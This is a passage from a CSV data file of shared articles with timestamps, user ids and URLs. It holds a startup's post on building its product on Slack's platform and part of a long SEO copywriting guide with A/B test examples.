its core product, rather than offer a suite of ancillary products. Google has offered the bulk of Fabric engineers within the Firebase team. For its part, Twitter said it is still committed to developers. ""Developers remain a strategic priority for Twitter and we are working to tighten our focus to best serve this customer set while investing in tools and services that are directly linked to our core business,"" said a Twitter spokesperson to ProgrammableWeb via email. For example, Twitter will continue to operate MoPub. Moreover, it will invest in its public API, Ads API, Publisher Platform, and Gnip.",en
1484838799,CONTENT SHARED,-7534240757267992657,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://thinkgrowth.org/building-on-slack-saved-our-startup-94953fdaf27a?gi=a31bbb355632,Building on Slack Saved Our Startup,"From the start, we did everything right with Tettra . We validated our assumptions through customer interviews and fake mockups. We got 10 teams to agree to use our product before we ever touched a line of code. Our idea was to build a simple wiki for sharing knowledge on a team, and everyone we talked to seemed really excited to use the product. Then we launched our MVP...and no one used it. When we reached back out to those team to figure out what had happened, we found that they all still had a problem sharing internal knowledge. They still believed they could use Tettra solve it. The problem was that no one remembered to use the product. Even after all our research, we missed an important truth about how the world has changed: The way people access a tool is just as important as what the tool does. People are overloaded with information, logins, and interfaces. And here we were, asking them to create a whole new habit. Around the same time we were trying to figure out how to save Tettra, Slack launched their app directory. This felt like the right move. A year later, it's been one of the best strategic decisions we've made as a new startup. If you're considering this path for your business, here's what you should be taking into consideration. The Perils of Building on a Platform There's been an explosion of new platforms in the last few years. Facebook Messenger, Slack , Medium , and many others have opened their ecosystems, letting third-parties hook into their massive user bases. Jump-starting your growth by building on another company's platform is enticing, but not without its risks. Platform can shut down or cut you off A few years ago Twitter opened its doors and let third-party developers build on their platform. New companies sprung up building all sorts of tools on top of Twitter's API, including dozens of alternative clients to Twitter's native web app. Then when Twitter had grown large enough and needed to start monetizing their audience, they locked down their APIs. Many of those companies, including most of the alternative Twitter clients, shut down because they couldn't access the data they needed to make their products work. Another more recent Twitter-related example is Meerkat. Meerkat launched a live-streaming video app in early 2015 and used Twitter for distribution. It took off like wildfire, growing to millions of users and raising millions of dollars soon after launch. But unknown to them, Twitter was quietly working to acquire a competitor in the live-streaming space called Periscope . Twitter eventually disabled Meerkat's access to their social graph and promoted Periscope instead, cutting off Meerkat's primary distribution. The blow proved fatal and, six months later, Meerkat shut down . And Twitter's platform strategy is not an isolated event. More recently, LinkedIn , Netflix and ESPN all locked up their public APIs to approved partners only, shutting off access to open third-party developer ecosystems. Unless you can pay, you can no longer play on these platforms. Betting your business on an open API can be risky business. Our risk assessment We talked about this risk a lot at Tettra. For us, this decision came down to two things: Platform investment: Slack is investing heavily in their platform and even has a dedicated investment fund to support 3rd party developers . Revenue model: Slack's platform is focused on businesses. Its likely monetization strategy is subscription revenue vs. ad revenue. 3rd party revenue from external developers lines up with their business model and is good for their bottom line. The platform can clone your entire product Earlier this year Reddit finally added native image hosting to its service, ending a long-standing alliance with Imgur. Now Reddit users have a choice - they can keep using the third-party app Imgur or they can use the built-in option when posting an image to Reddit. It's yet to be seen what the effects of Reddit offering their own image hosting service will be on Imgur, but it's probably safe to say that the majority of users will choose the path of least resistance and go with Reddit's option. When you hook into a platform, the owner of the platform gets to see all your usage data. Information like how many times your product's been installed or how much money you're making through the platform's billing system is realistically accessible to the platform owner. In other words, if you have a popular app, the platform knows it's popular. In the age of ever-growing juggernauts vying for attention and wallets, this is bad news. Our risk assessment This is a big risk for us. Slack's actually an acronym that stands for S earchable L og of A ll C onversation and K nowledge. As a knowledge sharing product, you can see why that's worrisome. At SaaStr Annual 2016, Slack's VP of Product, April Underwood , gave some good advice to developers: ''If the end goal for what you're building is to make Slack using better, ... then I would recommend trying to think more broadly and to try to solve a broader problem than trying to make the experience on [the] platform a little bit better."" We feel like Tettra fits the bill of ""thinking broader."" Synchronous and asynchronous communication are complementary and should be integrated together, but separate tools. Time will tell what happens as Slack expands their product offering, but for right now Tettra and Slack are symbiotic and work better together. You don't own your destiny Let's get away from software platforms for a minute and talk about media platforms. What happens if you build an audience on a platform and that platform shuts down? You lose your audience. This happened earlier this year when Twitter shut down Vine . People who had spent years building up a following on Vine lost their entire subscriber base. The same thing can happen if a platform decides to shut down a mission-critical endpoint that your company relies on. After raising $49M and growing to 33M users, BranchOut , a service to see where Facebook friends worked and help you find a job, ended up having to shut down. Facebook changed the way its API worked, cutting off developers from accessing data about friends-of-friends and the way apps could post to people's Facebook walls. Our risk assessment Our second version of Tettra was built 100% on top of the Slack API - we didn't even have a database when we launched. Doing so allowed us to quickly validate whether people wanted a wiki connected to Slack. And the move was great for us. We went from concept to live product in 2 weeks and received over 200 sign-ups within the first 2 days of launching. We also had a plan to move away from this heavy reliance on Slack ASAP. We knew from the start that, if we saw product-market fit, we would rebuild the product to house our customer's data in-house. For us, the plan to rebuild and store our customers' data made Slack a safe choice. The Perks of Building on a Platform Now let's talk about the positives. As a geek, Slacks APIs are some of the best I've ever worked with for a few reasons. You can tell from the consistency of the APIs that the Slack API team put a lot of thought into the design of it all. The entire company is super responsive with support inquiries for developers. They even opened up an endpoint for us last year so we could launch our MVP on time. Most importantly, the user base is super enthusiastic about third-party apps and we've seen great adoption from teams who want Slack to be the backbone of their company. Being connected to Slack is one of Tettra's main selling points and helps new users find us. From there, we're able to sell them on the vision for a simple, internal wiki to share knowledge with the rest of their team and easily explain why Tettra's the best solution for them. But beyond just Slack, there's plenty of good reasons to build on platforms. Access to a massive amount of users Most of our early sign ups for Tettra came from our Slack App Directory listing . Even a year later, it's still a steady source of traffic to our site and new accounts for us. Distribution channels take a long time to build up and scale. Piggy-backing off the customer base that another company has already built is a good way to jumpstart your early growth while you build your own acquisition sources over time. Clear value proposition for prospects Tettra is an internal wiki for teams that use Slack. In fact, the product only works for teams that use Slack and there's no way to use the service without it. This value proposition limits the upper bounds of our growth to the number of teams using Slack, but it's also crystal clear: we are the wiki for Slack teams. If you're using Slack, you want to use tools that deeply integrate with it and are tailor-made for the Slack experience. We're able to deliver a great user experience for a small group of customers. We can always expand our offering beyond Slack if we hit the upper bounds of the market. Another great example of this strategy that I saw recently is Upscribe , a new subscription widget. There are literally hundreds of subscription widgets on the market right now, so you'd think there wouldn't be room for another one. That's not the case though, as Upscribe got almost 1,000 votes on Product Hunt and received such an overwhelming response that the load actually crashed their site. So how did they do it? They went niche. Upscribe is the subscription box for Medium . If you write on Medium, there's a clear reason to choose Upscribe over the other options out there. By starting specific, Upscribe has a foundation to build out their user base. Buffer started life as a post scheduling app for Twitter. Once they got traction on Twitter, they expanded their offering to include other services along with additional social media management tools teams. Now they're doing over $12M in revenue each year. TroopsHQ , a Slackbot for Salesforce users, recently raised a $7M Series A round , just a little over a year after founding the company. If you use Salesforce and Slack, you probably will use Troops too. Starting on a single platform gives you a clear value proposition to use in acquiring your first customers. Increase product engagement & retention The conventional wisdom is that it takes 21 days to build a habit, with some studies finding it might take even three times as long. Habits take a long time to form. Getting people using your product regularly is just as challenging as building a new habit. In Hooked , Nir Eyal outlines a strategy to actually get people using your product regularly through a habit formation loop: By integrating with Slack, Tettra's able to hack that habit formation loop because we show up where our users hang out every day: in Slack. Through Slack's APIs, we can push trigger notifications about recently published Tettra pages right into Slack. There are 2 benefits to this: It's easier for the person publishing a page to spread the word without having to send an email or manually post a link in Slack. Our Slack integration also helps with product engagement because the rest of the team sees the Slack notifications, which subtly reminds everyone else to share their knowledge with their team by creating their own pages. This kicks off the loop again and helps build up a documentation habit inside the entire company. Hooking into another platform and integrating with your user's existing workflows removes steps, making it more likely that people will continually use your product. How to safely build on a platform If you're still worried about building on a platform, you should check out Josh Elman 's talk from the 2015 Weapons of Mass Distribution Conference about How to Build On Other Platform . His four main points for building on platforms successfully are: Get users to come back directly to you : Bring people in through the platform, then figure out a sustainable way to get people coming back to you directly. Remember the value exchange: If you're building on a platform that monetizes through ads, don't build a service that pulls away eyeballs from them. Figure out a way to drive back value to the platform in the form of either users or money. Build features 20-1000 on the roadmap : All companies have limited development resources, but don't build a feature a platform is likely to build into their core product themselves. Focus on features further down the roadmap that the platform is unlikely to get to anytime soon. Platforms are an accelerant, not sustainable fuel : Take advantage of the moment but don't rely on a platform. The rules can change at any time. Platforms are the future of growth Competition in today's world is fierce. In 2006, the average number of choices a consumer had when choosing a product was four or five. In 2016, that number has spiked to approximately 15 vendors . Creating an amazing product just isn't enough anymore. They key to winning is being the best at distribution and showing up where your users already hang out. People don't don't want another login to remember or interface to learn. Connecting to existing platforms like Slack makes it easier for your users to access your product and helps you grow. If you're early enough to a platform and build on top of it right, hopefully eventually you'll grow big enough to become a platform yourself. Enjoy this post? Hit the ❤ button below. What do you think? Is building on a platform a good idea or too risky? Share your thoughts and stories below.",en
1484838828,CONTENT SHARED,-3872763991286728274,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.robbierichards.com/seo/seo-copywriting/,13 Killer SEO Copywriting Tips (With Examples and A/B Tests),"Are you bringing in a ton of high-converting organic traffic ? No? Let me tell you the harsh truth: Without SEO copywriting, you're going to fail in two ways... Your content wo n't rank for quality keywords Your content won't turn visitors into buyers That's why SEO copywriting is one of the most impactful things you can learn today for your business. In this post, I'm going to go through some of the best examples of SEO copywriting on the web, show you direct comparisons of copy performance in A/B tests, and give you 13 actionable takeaways you can use right to help boost rankings, increase engagement, and convert more readers into buyers. But first... What is SEO copywriting? Copywriting in SEO is the art and science of striking a fine balance between content that persuades and c ontent Google can fi nd. You'll notice you don't rarely see spammy titles and descriptions in Google results anymore. For example, you're way less likely to get a title that says 'Removal Service Boston Removal Service Florida Removal Service' than you are a genuinely compelling and readable title like 'Find the cheapest Boston removal services'. On one side, there's on-page SEO - the part of SEO that's relevant here: the practice of understanding which signals the Google algorithm uses, and helping it rank your content for the right keywords: On the flip side, there's copywriting. Copywriting has been around for centuries, and has been refined by advertising greats like David Ogilvy and John Caples as well as living legends like Gary Bencivenga . Put simply, copywriting is writing to persuade, convert, and sell. Good copywriting gets clicks, shares, and opens. Bad copywriting gets swept under the rug: Now we've got our definitions out of the way, let's break down what you'll learn in this article: Effective copywriting to get attention, clicks, conversions The on-page optimization Google actually cares about How to strike a blance and write for both humans and Google Why should you care? As I said before, thin, spammy, unoptimized content is pretty hard to find these days. That's because it might as well be invisible. But, let's look a little deeper... Why is copywriting in SEO so important? Let's say it's a perfect world. You're ranking high for your target keyword and have great copy on display... What happens? Well, you're pushing your ideal market towards an action you want them to take. That could be signing up to your mailing list , engaging with you, or even straight-up buying your product: To be clear, you're using the terms your buyer is searching for (SEO), hooking them with the perfect content (copywriting), and then getting results ($$$). If you're more of a visual person, this simple diagram from Neville Medhora over at Kopywriting Kourse sums it perfectly: Bottom line: Putting the right keywords in the right places in your content can have a direct impact on rankings and traffic... While changing just a few words on a page can have a HUGE impact on your conversions. Here's an example of a small copy change that had a big impact on the bottom line: Highrise boosted conversions by 30% with a single headline tweak It's a time-tested copywriting truism that the most prominent element on the page should be the most persuasive. So, instead of simply calling the visitor to action and then burying the offer in the 2nd line, Highrise showed visitors they obviously have nothing to lose by creating an account. Here's version A: Here's version B (+30% conversion!): By using a guarantee and making the user feel as if they're not going to lose out, Highrise held the extremely limited attention of the reader for long enough to get more conversions. If you're running copywriting A/B tests, the headline is the most impactful place to start. As David Ogilvy said , 8 0 % of people only read the headline. Let's keep this train moving... Brian Dean lifted organic traffic 45.52% by changing an article title Even if you do manage to get content on the first page, there's no 100% guarantee you're going to outperform other articles vying for the searcher's attention. While it's often thought that getting the #1 spot is a surefire way to rake in a ton of targeted organic traffic, Brian Dean shows us all that it's not the only thing that matters. Here's the two test variables he set up: By using emotional triggers and curiosity (and still keeping the 'seo campaign' keyword), Brian Dean saw a big lift in clickthrough rates for his article after just 7 days: Starting to see the whole little-effort-big-results thing yet? :) Check out this next one... California Closets improved lead generation by 115% by matching their ad copy and landing page copy A massive part of copywriting is playing up to your user's expectations. When they read your ad copy or title, they expect to get a certain information, offers or products on the page they click through to. If there's a disconnect, the user will be confused, and confused users don't buy. This A/B test from California Closets proves that claim perfectly. Here's ver sion A (matched messaging with ad copy): Here's version B (generic copy): The copy on version A matched the ad copy exactly, so when readers landed they realized they were in the right place. This is a very subtle tweak, that generated a significant increase in conversions. Here is another great example of message match from the folks over at GEICO. Take a look at the language used in both the title tag and meta description: And now look at the strong message match on the landing page: There is an important lesson here, even for the most experienced search and conversion rate experts - the sales funnel consists of many different elements and touch points, making them work together is critical to success. Ok, let's take a closer look at how can use SEO copywriting techniques to get more leads, conversions, and sales. SEO Copywriting Technique #1:Use the 'inverted pyramid' technique to drop your bounce rate You can instantly spot when a blogger has come straight out of college and into the world of writing for attention, not marks: They write steadily, weaving arguments together and only get to the point near the end of the argument. This is great for the academic world, but no good when people have attention spans of a few seconds, and need to be hooked instantly. The idea is simple: You don't end with the conclusion, you start with it. No one can be bothered to wait around for you to get the point. Let's take a look at how this works in practice: NNGROUP'S Eye-Tracking Study Reveals How People Read Your Content Take a look at these heat maps that show the places readers eyes will go most often when they land on a website: The thing that they all have in common is that readers will lose patience within the first two paragraphs, if you're lucky. After those paragraphs, they'll start to scan and see if anything attracts their attention further down. Let's highlight the points in each where the reader starts giving up: Understand readers will never read your text properly, so don't bury the lede State your most important information in the first two paragraphs 'Front-load' your title, subheads and sentences with key information But there's another way from a source you're probably more familiar with... Use Brian Dean's ""APP"" Method to Write a Compelling Intro There's no denying that Brian Dean's posts are among the most readable on the web. And that's no accident. He has a pre-defined winning format for pretty much everything SEO, and writing intros is no different. It's what he calls the 'APP method': First up, you write a paragraph the reader will agree with. Usually this will be outlining a problem they're having if they're reading your article. Then, you make a promise. You say how you've used these same tactics to blast your conversion rate up by a million percent, and how it totally works. Then, you give them a preview. This sentence will start with 'In this article...' Check it out in action: This method works like the time-tested sales letters of the ol' direct response age. In fact, it's exactly the same!That particular framework was honed over almost a century, and is used even now in formats such as landing pages, blog posts, and, of course, paper mail.Here it is in the wild in a classic sales letter written for Agora Financial : Saying 'it works' is so obvious it's a truism. It's become a refined formula over the years, and - if you can use it properly - it proves that long copy sells . SEO Copywriting Technique #2: Write a Kick-Ass, Optimized Title Tag Quick riddle: What do 100% of people read but 80% of people disregard instantly? Your headlines! Don't worry, that's not an insult or comment on your ability - just the simple truth. Let that statistic sink in and motivate you to write an incredible headline that: Gets clickthroughs on Google search results Includes your target keyword Makes promises your content actually lives up to The tricky thing about copy is that it seems so simple. When it's done well, you don't even notice because you're focused on the action it wants you to take. When it's done badly, you don't even notice because you've tuned it out. Let's look past that and really start to pick apart some search optimized headlines, and why they work. Simply Additions: ""The Best Lawnmowers Exposed""! As effective as this headline is, I'd be lying if I said it didn't make me chuckle: Even with the dullest subject matter on Earth, this title manages to make it juicy. It's as if these lawn mowers were previously a secret weapon of all grass enthusiasts but now they've finally been revealed for you. Check out that description, too. Simply Additions has managed to make something sexy and scandalous out of the a pedestrian garden upkeep tool. Copywriting techniques used: Brand name-dropping (Lowes, Home Depot) Power words (Best) Sensationalism (dirty secrets, exposed) Look at it this way. The page is from 2012, has a drastically lower domain authority and isn't as well optimized for the exact search term as the others on the page. Despite all this, it's outranking Amazon. It could well be that the high click-through rate is keeping it there against all odds. According to Moz , ""title tags have long been considered one of the most important on-page SEO elements"". They directly impact SERP engagement metrics which are becoming a more heavily weighted ranking factor in search algorithms: Zendesk: ""Beautifully Simple Help Desk Software"" Now let's check out the messaging as it shifts between the user's intent in Google, and their intent on the landing page: From the success of this search result for the keyword 'help desk software', it shows the two different titles and the two different frame of mind users are in when they're reading them. The first - from the Google search result - is ""Beautifully Simple Help Desk Software"". Zendesk is playing on the misconception that help desk software is ugly and hard to use with this title. The second - from the landing page - is ""A better customer experience starts with better help desk software"". This title inserts the keyword elegantly, and promises a b en efi t - a better experience for your customers. Balancing the benefits of a product against the features is a time-tested copywriting technique . It's all about finding what works between explaining what your product can do, and what your buyer can get out of it. Basically: People have little interest in having to get an extra piece of software to communicate with customers. What they really want is a better customer experience without the hassle of difficult-to-use software. SEO Copywriting Technique #3: Write a Compelling Meta Description (that Includes Your Target Keyword) Meta descriptions are the next thing people read after the title. It appears under every search result, like this: Why is it important? If you have written an awesome title, and your meta description is trash, you're killing your chances of getting the click. Want to know why? Because not only are you failing to persuade the searcher that your link has the most value, you're actually telling Google that your link doesn't deserve its ranking. Let me phrase that differently: For every link that gets clicked on the first page that isn't yours, it . hurts your ranking potential And it doesn't stop there. Meta descriptions like this: Will often appear when people share your content across other websites and social media channels: As you can see, meta descriptions not only have an impact on engagement across organic search results, it also impacts engagement across other areas of the web. Bottom line: Don't just take your chances on whatever Google decides to pull up from your article as the meta description. Use a tool like Yoast to give yourself full control over it for every post and page you create: Descriptive Persuasive Inspire curiousity Match the searcher's intent 156 characters or less Let's try and find some great examples. Live Bold and Bloom: How to Stop Procrastinating This meta description ticks most (if not all) of the boxes: It's descriptive because it tells you how many ways to stop procrastinating will be in the article. It's persuasive because it sells the benefits of its teachings (be motivated, more productive, get things done). And most of all, it's in line with the searcher's intent. It's not how to stop procrastinating and walk the dog. It's not how to stop procrastinating and buy a printer... It locks in with exactly what the searcher wants, which is to get more done! While meta descriptions are not a ranking signal for Google, they are an important element of the search experience, directly impacting SERP engagement. Imagine how much trash we'd accidentally read without them! Plus, if your keyword is in there, Google will bold it. Take a look at the average SERP. Apart from the knowledge graph and rich snippets, the title tag, URL and meta description are the three components that make up your search result, and are the 3 elements searchers use in deciding whether to click through to your site or not: The meta description takes up the most space, contains the most information, and will be read longer. Don't waste the real estate! Both Google and Bing look at and report on this data: As Myers puts it: ""Relevant results drive more clicks"". A couple more examples to highlight the importance of a good meta description: Good example - ""best burgers in London"": The target keyword is highlighted in the description, ""mouth-watering"" descriptive language is used to hook the reader, and the fact that experts have tested the food implies credibility in the article. The target search term is not bold, negative language leaves a bad taste in your mouth (no pun intended), and it fails to align closely with the search intent - people don't care about the history, they want to know where they can sink their teeth into a delicious burger right now. iSPONIAGE: Adwords body copy A/B test I'm going to prove now that meta descriptions do matter for SEO copywriting with some cold, hard facts: iSpionage published the results of an A/B test where they changed the body copy and kept the headline the same. Here's the two variations: Can you guess what happened? The top variation outperformed the bottom one by 42.86%. Why do you think that is? At a glance, the top ad gives you the benefit right away. One glance and you know that iSpionage helps you find profitable keywords faster. A direct benefit to the end user. Surely that's more valuable than why PPC experts trust and blah blah blah. Apparently, it's 42.86% more valuable :) SEO Copywriting Technique #4: NEVER overlook the importance of the first sentence Listen to Joseph Sugarman. He's one of the best copywriters of all time, and here's what he says: Y our copy should be a slippery slope . Your copy should drag readers down the page, enticing them, giving them value, and keeping them from bouncing. Here is a famous example from legendary copywriter John Caples published in the 1920s: A descriptive image and a headline that sucks you into finding out what happens next. This open loop leads into a compelling story that would appeal to anyone wanting to learn how to play the piano. A more modern example of Ramit Sethi's Zero to Launch course: The breakdown: Ramit starts with a powerful headline that grabs your attention. It then pulls you further down the page with a compelling subheadline, and agitates the pain point many people have - ditching the 9-to-5 and creating a more flexible lifestyle where you aren't selling your time for money. Not to mention he uses some pretty compelling social proof to hook the reader :) Pretty cool, right? Here's a more simplified version of Noah Kagan's Monthly 1K course : Who doesn't want to create a $1,000 month business? The headline is clear, the sub headline agitates a pain point of entrepreneurs who have failed in the past, and hooks the reader by proposing a proven formula for success that can be applied to any industry or business type. Kudos to the Sumo crew! BUT... Headlines aren't the only way to get your readers on a slippery slope... Another great way to hook 'em early is write a bad-ass first sentence, like this: Who could refuse that, right? As Dean Evans says , an opening line exists purely to draw your eyes to the second line, and the second line's job is to make you read the third. Here's why you should care about this from an SEO perspective: If you don't hook your reader within 15 seconds - probably the time it takes to read the first sentence and look at the header image - they're gone. And when Google notices a reader dropping off your site without reading the content, they'll drop you. Dean Evans advises you to make sure your opening sentence uses one of the following devices: Curiosity (""You'll never guess what happened to me this morning, before I even had my coffee..."") Question (""Did you know there are just two things you can do to avoid getting penalized by Google?"") Empathy (""I bet you wish you were a super hero."") Surprise (""Everything you've ever heard about how much sleep you need is wrong."") Statistics (""16% of startups don't make it past the first two years."") And another good tactic he uses is to just delete your first paragraph. Depending on how you edit your content, you might spend the first few lines rambling and get to the good stuff later. See what works for you. I've already looked at Brian Dean's scary-good first sentences, so here's another example: Hiten Shah's bombshell opener ""Two tweets about raising money was all it took to get 81 email responses and 53 customer development calls with founders..."" *explosion sound effect* If that doesn't make you go ""how the hell did he do that?!"", I don't know what will. This fantastic opener uses statistics, surprise, and curiosity to deliver an absolute bombshell. It makes the readers ask what the tweets were, who all these people are, and what's the rest of the story? The title draws people in who feel vulnerable about their ability to raise money, and then the opening line establishes Hiten Shah as a true authority who really knows what he's doing. After all, Hiten has started three SaaS companies - KISSmetrics, Crazy Egg and Quicksprout. The article also uses storytelling, which is an important copywriting element every human being on the planet can relate to. In fact, it's in our DNA to enjoy stories and it's something we've been doing since we learned to etch animal drawings into caves in France 30,000 years ago. SEO Copywriting Technique #5: Use message matching (or get a huge bounce rate) If you're giving off the wrong signals in your title and meta description, you're basically being the burrito shop that doesn't serve burritos. And you better believe that place has a high bounce rate. Wrike: Mismatched messaging for competitor keywords You've seen this one before: Type any product name into Google and you get their competitors buying ads and slamming them. Here's Wrike trying to catch Basecamp leads: The landing page on its own is fine - a classic example that makes no mistakes. The PPC ad that took me there, however... Well, just check the URL. The slug is basecamp-vs-wrike . When I land here, I'd like to at least get one reason that I shouldn't choose Basecamp! And don't think I'm trying to distort the truth either, because what I'm showing you above is 100% of the landing page. In my opinion, that's not how you steal leads off Basecamp. People searching Basecamp are already moving beyond the middle of the funnel. Navigational keywords indicate the searcher has an idea what they want, and why they want it, so they're not going to fall for a platform that doesn't attempt to differentiate itself in the slightest. Plan.io: Message matching done right (in the simplest way possible) How can you avoid confusing and alienating visitors, you ask? It's stupidly simple... Use the same copy on your ad as you do in your landing page. Plan.io knows the score: While the copy isn't broken up into chunks for readability, you can quickly scan it and realize that you're just being sold on the same features you wanted when you clicked through on the PPC ad. It's a technical and specialized product, so it's written for people who know what they want and optimized for people who search workflow knowing full well what features they're looking for. The copy under the button is also top notch, because a common limitation with SaaS product free versions is that the features are locked out. Anyone who was unsure about hitting that big green CTA has had their worries put aside. SEO Copywriting Technique #6: Mimic your ideal customer's language It's obvious... If you know the language your ideal customer uses, you're going to be able to make a connection with them that other marketers aren't. It's not just for keyword research. Using language that rings true with your market helps persuade and convert. It's simple to find the language your target market uses. As the old marketing rule goes, you just need to find the place they hang out. Here's a few: ​Forums (use a forum search engine like BoardReader) Reddit (search their list of subreddits) Blog comments Quora Twitter Brian Dean noticed while browsing SEO forums that people often asked 'why does Google hate my site?'. Being the smart guy he is, he capitalized on this by writing a post targeting those keywords. If people are asking a question in a forum, you can be pretty sure they didn't get a straight answer from the search engines. In short, it's a gold mine. Let's look at the example: Brian Dean: ""Google Hates My Site"" Brian is known for going after big keywords. Things like 'backlinks' and 'SEO tips'. He eats them for breakfast. So why did he target something low traffic like 'Google hates my site'? The answer is because he saw that the exact niche community he targets uses that phrase regularly in forums. Check this out: The thing is... Brian didn't then go and write a post to target that little keyword. Instead, he noticed it whilst writing another post about TrustRank. He optimized the title tag so he could both rank for his target term and draw in that niche SEO audience he noticed on the forums. SEO copywriting at its finest. Not only does it catch the first page for its target keyword, it also hits the emotional triggers and pain points of the searcher: SEO Copywriting Technique #7: ALWAYS call the reader to action Here's a simple one that a lot of people seem to overlook: If you don't ask for something, you're not going to get it. Not using a call to action in your title, description, landing page, or blog post? Your reader won't know what they're supposed to do next. You've put a ton of work into the copy, and by the end of it, the reader is sold and looking to click a big button saying 'GIVE ME THIS!'... What if it's not there? Are they going to spend more than 5 seconds looking for it? No. They're going to press back, go to the next Google result and hit that call to action somewhere else instead. Now, there aren't a lot of tests done into whether using a call to action increases conversions of not, because people smart enough to A/B test are smart enough not to leave their money on the table. I did, however, find this: A/B Test: Using a Call to Action vs. No Call to Action Let me tell you... the results of this test are no surprise whatsoever. Variation A tells you what it is you're clicking on. Variation B, on the other hand, tells you why you should click it, which is much more effective - especially with a call to action to learn more at the end. The outcome? Version B boosted clicks by 2666% ! Mention: Get more shares by Asking for a tweet In all of their posts, Mention extracts the key points and then sprinkles 'click to tweet' calls to action throughout. It's not just passive sharing buttons on the right-hand side of the page, but several targeted calls to action throughout meaning that readers have a chance to tweet a quote that resonates with them.Tweeting quotes is a popular thing to do because it makes users feel like they're gaining the respect of their peers, and helps them build self confidence . But, don't just stop there... Add sectional share links within your articles: This makes it easy for readers to share your content continuously as they are reading down the page. This tactic has helped me generate over 20,000 social shares with just 15 blog posts: Apart from the engagement signals, the increased social sharing helps get more eyeballs on your content, which often leads to more traffic and links. SEO Copywriting Technique #8: Use battle-tested formulas for your headlines and subheadlines You know the best place to find SEO copywriting? Google search results and landing pages. We've looked a lot at Google search results so far, but now we're going to focus on landing pages. You don't have as many words at your disposal on a landing page as you do in a blog post, so you had better make them count. Especially since landing pages need to be the most high-converting pages on your site. Let's take a look at a couple of examples first to get an idea of the anatomy: Elements: Benefits Call to action Image that conveys value Elements: Benefits Features Call to action Image that conveys value 61% of headlines do not sell the benefits of the software 42% of headlines contain jargon 80% of headlines use no social proof More importantly, however, the study found that every single landing page headline in the data set could be boiled down to 9 formulas. The 9 Proven landing Page Headline Formulas T he [superlative] way to [goal] (The Fastest Way to Tackle Twitter as a Team) [imperative] [benefit] (Send Email That Converts) [Better [purpose] (Better user onboarding) [product] that [benefit] (Payroll and benefits that put people first) [benefit]. [benefit]. (Get More Leads. Drive Better Engagement.) [benefit] without [drawback] (Build, P ublish & A/B Test Landing Pages Without I.T.) [question] (Do you need more customers?) SEO Copywriting Technique #9: Skyrocket Time on Page and Engagement You have the attention span of a goldfish. Ok, that might be a little harsh, but it's not so far from the truth. As soon as you (or anyone who visits your blog) sees a block of text they can't instantly skim, it's likely they're going to bounce like a rubber ball dropped off the Eiffel Tower. Check the difference: One sentence paragraphs Short enticing lines that draw the eye further down the page (Well...) Questions Bullet points Ellipses What you're looking at here is the difference between scannable text (2) and something very few people have the patience to read (1). The features of scannable text include: But it's not all about the copy. (As much as copywriters would love to believe.) Buildzoom increased Time On page by 150% by using multimedia This really is one simple trick that will improve your search rankings. Since Google looks to bounce rate and time on page as an indication of quality, you need to be taking advantage of the lessons learned from this A/B test: While working at PRWeb, Jiyan Naghshineh Wei found that pages with multimedia outperformed pages without by about 30 seconds (from 2:18 to 2:47). As well as this, he found that 90% of bloggers and journalists reported that images improved the reception of their media releases. Taking these lessons and applying them to BuildZoom - a marketplace for contractor jobs - he first started by replacing the generic image people get when they don't have a profile picture with building-related stock images, like this: This increased time on page by 10%, but he wasn't satisfied yet... Since BuildZoom had started to build a library of remodeling images, they implemented a widget that showed visitors examples of remodeling work in their area. Here's the amazing part: It rocketed time on page by 150%! SEO Copywriting Technique #10: Don't Stuff, use Latent Semantic Indexing (LSI) keywords What if there was a way to rank for more targeted, long tail keywords with just a tiny bit more work? Well, here's the thing: Google has a system where it secretly associates your terms with other keywords, and if you can target those keywords you're signaling that your content is the perfect fit for the search. Check this out: Google's algorithm has flagged 'sparkling water' and 'carbonated water' to be semantically similar and is treating them as exactly the same thing. So, in short, you can use LSI terms to rank for a wider variety of keywords. It gets even easier, too... You can instantly generate LSI keywords with LSIGraph : After that quick job's done, just go ahead and make some edits to your article. Don't constantly refer to SEO by its acronym, write 'search engine optimization' at some point. It's really easy to just sprinkle these keywords into your finished article and should only take about 5 minutes to squeeze a few in. Let's take a look now at an article that uses LSI keywords and check the long tail keywords it's ranking for. 'List Building' LSI Long Tail Keywords Ranking In my 2015 blog post I targeted the keyword 'list building', but sprinkled LSI keywords throughout, such as 'email list building', 'list building strategies' and 'email marketing'. See what happened? As a result, I managed to scoop up a ton of extra long tail LSI keywords. All of those volume 10 keywords really start to add up. SEO Copywriting Technique #11: Use numbers in headlines to skyrocket CTR Tips for growing better organic vegetables 7 tips for growing better organic vegetables Which sounds better? The thing is, our clicks are valuable. No one wants to dive headfirst into an article not knowing whether it's just 2 tips or 100 tips. What if I don't have time for 100 tips! What if 2 tips isn't enough?! It makes people nervous if they don't know exactly what they're getting. And that's why using numbers in headlines is one of the best ways to boost your CTR in Google, and social share count. Check this : The facts are obvious: numbers in headlines have the highest correlation with preference, preference meaning the gold dust of internet marketing: . You only have to use a tool like Ahrefs' Content Explorer to see what I mean: Finding Winning Headlines with the Ahrefs Content Explorer For this example, I'm going to use one particularly internet marketing-related niche, and one niche that isn't anything to do with it. I want to show you that numbers in headlines aren't just the stuff of conversion-mad marketers, but something that gets everyone everywhere excited. Here's the top results for 'ecommerce': Again, people like to know what they're getting. It could be that these articles are from popular domains where everything they write gets a good amount of shares, but it also could be because the headline itself is magnetic. Here's a non-marketing related topic: iPhone tips... Again, it's the same story. If you want more proof, why don't you check the share counts of Buzzfeed's headlines. Love them or hate them, Buzzfeed has become an enormously successful media outlet, all because of its snappy headlines and tell-it-like-it-is content: Yeah, those share counts are downright ridiculous. And most of it is about something pretty mundane: home life. Numbers, numbers, numbers. Numbers also get you links. Check out the characteristics of the four most linked 'productivity tips' posts: They are all very specific about what the reader's going to get if they click through. Even James Clear's post, which technically doesn't have a number, promises that there is just one productivity tip. In the book Made to Stick , Chip Heath and Dan Heath found based on their research that ideas stick for 6 reasons, one of which is that it's concrete. That's part of the psychology behind why numbers in headlines work so well. Peep Laja from ConversionXL puts it well : So, remember. To get a reaction from your copy, whether it's the opening line or a headline, there should be a number in there. SEO Copywriting Technique #12: Stop ""Skimmers"" in their tracks and boost reader engagement Steve Krug said it best in his book, "" Don't Make Me Think "": The days where people read your article from start to finish are all but gone. In 